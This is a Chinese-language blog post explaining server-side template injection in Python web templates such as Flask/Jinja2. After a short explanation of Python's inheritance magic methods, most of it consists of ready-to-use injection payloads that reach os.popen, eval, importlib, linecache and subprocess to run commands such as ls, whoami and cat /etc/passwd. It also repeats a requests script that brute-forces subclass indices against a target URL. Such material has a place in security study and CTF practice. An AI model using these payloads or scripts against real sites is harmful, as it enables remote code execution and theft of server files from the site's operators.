SSTI 模板注入

SSTI 模板注入

推荐观看此视频:0x05 模板注入漏洞介绍_哔哩哔哩_bilibili 视频总结得很到位,以下是我自己的部分总结

SSTI 模板注入的成因

借助于模板引擎,开发人员就可以在应用程序中使用静态模板文件了。在运行时,模板引擎会用实际值替换模板文件中的相关变量,并将模板转化为 HTML 文件发送给客户端。
详解模板注入漏洞(上)-安全客 - 安全资讯平台 (anquanke.com)

没有 SSTI 漏洞的代码如下:

有漏洞的代码

观察对比可以发现,有漏洞的原因是用户的输入在解析前没有被预先渲染转义。

确认模板类型

依照图片逐次尝试,从而确定模板类型

继承关系和魔法方法

首先你需要对 python 有一定的基础了解,明白子类父类的概念,同时要知道 object 是所有数据类型的最终的父类,而接下来要介绍的几个魔法方法,是用于查找/调用子类与父类的。

1
2
3
4
__class__ # 查找当前类型所属的对象
__base__ # 上一个父类
__mro__ # 查找当前类的所有继承类
__subclasses__() # 查找父类下的所有子类

还有两个在 payload 中经常用到的魔法方法

1
2
3
__init__ # 查看类是否被重载,重载是指程序在运行时就已经加载好了这个模块到内存中,如果出现了wrapper字眼,说明没有重载

__globals__ # 函数会以字典的形式返回当前对象的全部全局变量

并不是每个类的__init__都拥有__globals__属性,所以我们寻找的合适的类实际上就是__init__中拥有__globals__属性的类

SSTI 漏洞利用示例

大概了解了这些基础知识后,我们需要明确一点:所有的这些手段都是为了让我们去访问父类的其他子类中的方法,从而实现文件读取或命令执行

以下是一些常用的注入模块

为了找到这些模块的位置,我们可以使用 __subclasses__() 来找到父类的所有子类的列表,然后使用调用列表元素的方法调用该子类

接下来使用 __init__ 来判断其是否重载,若已经重载,则使用 __globals__ 来查看有哪些可以使用的方法函数。

之后我们可以访问 popen, os, eval, system 等函数(如果有的话)来执行命令(system 无回显)。这个过程也可以使用 __builtins__ 来直接访问 python 的内置函数。

1
2
3
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /ect/passwd').read()}}

{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

常用的注入模块利用

文件读取

查找子类 _frozen_importlib_external.FileLoader ,确定其在列表中的位置,这个过程我们可以使用脚本来进行

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
url = input('input url:')
for i in range(500):
#name is post form's name
data={"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
try:
response = requests.post(url,data=data)
#print(response.text)
if response.status_code == 200:
if '_fronzen_importlib_external.FileLoader' in response.text:
print(i)
except:
pass

这是一种,构造请求后不断访问,直到找到目标的时候返回值为 200 且目标在其中.我觉得也可以将手工查看父类的所有子类,然后排序(按 class 每行)获知列表下标的过程用代码来实现,优点是减少了请求次数(一次请求即可),不过上面脚本的优点是可以在后面查找更低目标函数所在位置的时候复用。

内建函数 eval 执行命令

我们要先找出哪个模块中有 eval 函数,这个过程可以用脚本解决

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
url = input('input url:')
for i in range(500):
#name is post form's name
data={"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
try:
response = requests.post(url,data=data)
#print(response.text)
if response.status_code == 200:
if 'eval' in response.text:
print(i)
except:
pass

确定下标后可以参考下面的利用手法

1
{{().__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

os 模块执行命令

在其他函数中直接调用 os 模块,很多模板其实都自带 os 模块比如 flask,下面给了两个 flask 中自带的函数调用 os 模块的例子

1
2
3
4
5
6
7
8
// 通过config调用os
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}

//通过url_for调用os
{{url_for.__globals__.os.popen('whoami').read()}}

//在已经加载os模块的子类中直接调用os模块
{{''.__class__.__base__[0].__subclasses__()[199].__init__.__globals__['os'].popen("ls").read()}}

查找包含 os 模块的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
url = input('input url:')
for i in range(500):
#name is post form's name
data={"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"}
try:
response = requests.post(url,data=data)
#print(response.text)
if response.status_code == 200:
if 'os.py' in response.text:
print(i)
except:
pass

importlib 类执行命令

可以加载第三方库,使用 load_module 加载 os

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
url = input('input url:')
for i in range(500):
#name is post form's name
data={"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
try:
response = requests.post(url,data=data)
#print(response.text)
if response.status_code == 200:
if '_fronzen_importlib_BuiltinImporter' in response.text:
print(i)
except:
pass

利用手法

1
{{[].__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls").read()}}

linecache 函数执行命令

linecache 函数可用于读取任意一个文件的某一行,而这个函数也引入了 os 模块,所以我们可以使用此函数执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
url = input('input url:')
for i in range(500):
#name is post form's name
data={"name":"{{().__class__.__base__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"}
try:
response = requests.post(url,data=data)
#print(response.text)
if response.status_code == 200:
if 'linecache' in response.text:
print(i)
except:
pass

利用手法

1
{{[].__class__.__base__.__subclasses__()[191].__init__.__globals__['linecache']['os'].popen("ls").read()}}
1
{{[].__class__.__base__.__subclasses__()[191].__init__.__globals__.linecache.os.popen("ls").read()}}

subprocess.Popen 类执行命令

从 python 2.4 版本开始,可以用 subprocess 模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值,意在替代 os.system, os.popen 等老函数

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
url = input('input url:')
for i in range(500):
#name is post form's name
data={"name":"{{().__class__.__base__[0].__subclasses__()["+str(i)+"]}}"}
try:
response = requests.post(url,data=data)
#print(response.text)
if response.status_code == 200:
if 'subprocess.Popen' in response.text:
print(i)
except:
pass

利用手法

1
{{[].__class__.__base__.__subclasses__()[200]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

小结


SSTI 模板注入
https://i3eg1nner.github.io/2023/10/5bd55cd41555.html
作者
I3eg1nner
发布于
2023年10月24日
许可协议